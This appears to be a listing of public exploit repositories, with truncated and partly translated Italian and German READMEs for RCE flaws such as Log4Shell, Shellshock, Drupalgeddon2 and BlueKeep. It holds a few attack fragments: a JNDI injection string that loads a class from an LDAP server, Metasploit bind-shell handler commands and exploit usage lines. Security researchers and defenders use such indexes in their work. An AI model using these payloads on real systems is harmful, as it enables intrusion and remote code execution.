CVE-2016-2555

Exploit CVE-2016-2555 Questo exploit mira a una vulnerabilità di SQL Injection e a una debolezza dell'autenticazione in ATutor 2.2.1. Sfruttando queste vulnerabilità, l'attaccante può caricare codice malevolo per ottenere Remote Code Execution RCE sul server vulnerabile. Utilizzo $ python3...

Log4J_0day_RCE

Unisciti alla Community Telegram CVE-2021-44228Apache Log4j Esecuzione Remota di Codice） Versioni interessate puoi usare JNDI-Injection-Exploit per effettuare l'exploit. Bypass di rc1 Per esempio: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass del WAF...

log4shell-docker-lab

Log4Shell Docker-Lab für CVE-2021-44228 Die Komponenten Dieses Docker-Lab verwendet drei Komponenten: Die verwundbare Spring-Boot-Anwendung Einen HTTP-Server, der .class -Dateien für die Remote-Codeausführung hostet Einen LDAP-Referral-Server, der bestimmte LDAP-Abfragen an den HTTP-Server...

cve-2021-31630

Questo script sfrutta automaticamente la vulnerabilità in OpenPLC Web Server v3 Sarai in grado di creare una Reverse Shell automatica con il server senza dover usare tecniche manuali. Dettaglio CVE-2021-31630 L'Iniezione di Comandi in Open PLC Webserver v3 permette a un attaccante remoto di...

Spring4shell

Spring4shell Spring4shell...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635,MS15-034 Rilevamento della vulnerabilità USAGE python MS15-034.py www.xxx.com:80 Programma di test Vulnerabilità di esecuzione codice remota in HTTP.sys CVE-2015-1635, MS15-034 La vulnerabilità di esecuzione codice remota esiste nello stack del protocollo HTTP HTTP.sys...

CVE-2024-29824

CVE-2024-29824: Vulnerabilità di SQL Injection e Remote Code Execution in Ivanti EPM Exploit proof of concept per eseguire alla cieca comandi su appliance Ivanti EPM vulnerabili. Post del blog Analisi approfondita e indicatori di compromissione qui:...

CVE-2025-30406

Parte 1: Exploit λ CVE-2025-30406.exe rce.txt...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Remote Code Execution PHPMailer ist die weltweit beliebteste Transportklasse mit schätzungsweise 9 Millionen Nutzern weltweit. Täglich werden weiterhin erhebliche Downloads verzeichnet. Wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Jooml...

Telerik_CVE-2019-18935

Scanner Python per TelerikUI telerikrcescan.py Esempi Valuta un IP per CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Valuta un hostname per CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Valuta un intervallo di rete CIDR per CVE-2019-18935 $ python3...

CVE-2025-32432

CraftCMS CVE-2025-32432 Exploit di Chirag Artani Panoramica Questo repository contiene uno script di exploit proof-of-concept per CVE-2025-32432, una vulnerabilità di Remote Code Execution RCE pre-autenticazione che interessa le versioni 4.x e 5.x di CraftCMS. La vulnerabilità risiede nella...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab RCE autenticato leggi: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ come usare Per prima cosa avvia un'istanza di GitLab. Accedi, crea un gruppo e un progetto con un nome univoco. Crea un token di accesso. Modifica...

CVE-2021-22893

CVE-2021-22893 Vulnerabilità RCE di Pulse Connect Secure CVE-2021-22893 Shodan : https://www.shodan.io/search?query=http.component%3A%22pulse+secure%22...

CVE-2019-0708-Msf--

CVE-2019-0708 Nicht authentifizierter CVE-2019-0708 "BlueKeep" Scanner PoC von @JaGoTu und @zerosum0x0. Technische Details: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit-Modul Das Metasploit-Modul wurde in rapid7:master übernommen. msf5 use...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337 Quindi, in un'altra shel...

Shellshock_vuln_Exploit

🚨 Exploit RCE Shellshock CVE-2014-6271 Questo è un exploit in Python per la vulnerabilità Shellshock CVE-2014-6271, che colpisce GNU Bash. L'exploit prende di mira script CGI su server web vulnerabili e stabilisce una reverse shell verso la macchina dell'attaccante. ID CVE CVE-2014-6271 Disclaime...

drupalgeddon2-CVE-2018-7600

Drupal - Drupalgeddon2 CVE 2018-7600 $ python3 drupalgeddon.py -h + drupalgeddon2 CVE-2018-7600 exploit by Rafael Caria usage: drupalgeddon.py -h --url URL --command COMMAND --function FUNCTION --test --proxy PROXY ! This script exploits CVE-2018-7600 a Drupal property injection in the Forms API...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Remote Code Execution CVE-2021-42013.py è uno script Python che aiuta a individuare la vulnerabilità di Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza vulnerabile di Docker per fare pratica con CVE-2021-42013 Se CGI-BIN è...

log4j-log4shell-affected

log4j-log4shell-affected Elenchi dei componenti interessati e delle app/vendor interessate da CVE-2021-44228 noto anche come Log4shell o Log4j RCE per i team di risposta alla sicurezza. Riteniamo che sia importante classificare vendor e prodotti tra: 1. Rischio interno - cosa patchare per primo p...

CVE-2024-9932-POC

CVE-2024-9932-POC Descrizione: Il plugin WordPress Wux Blog Editor è vulnerabile al caricamento arbitrario di file a causa di una validazione insufficiente del tipo di file nella funzione wuxbtinsertImageNew. Sono interessate le versioni fino alla 3.0.0 inclusa. Questa vulnerabilità consente a...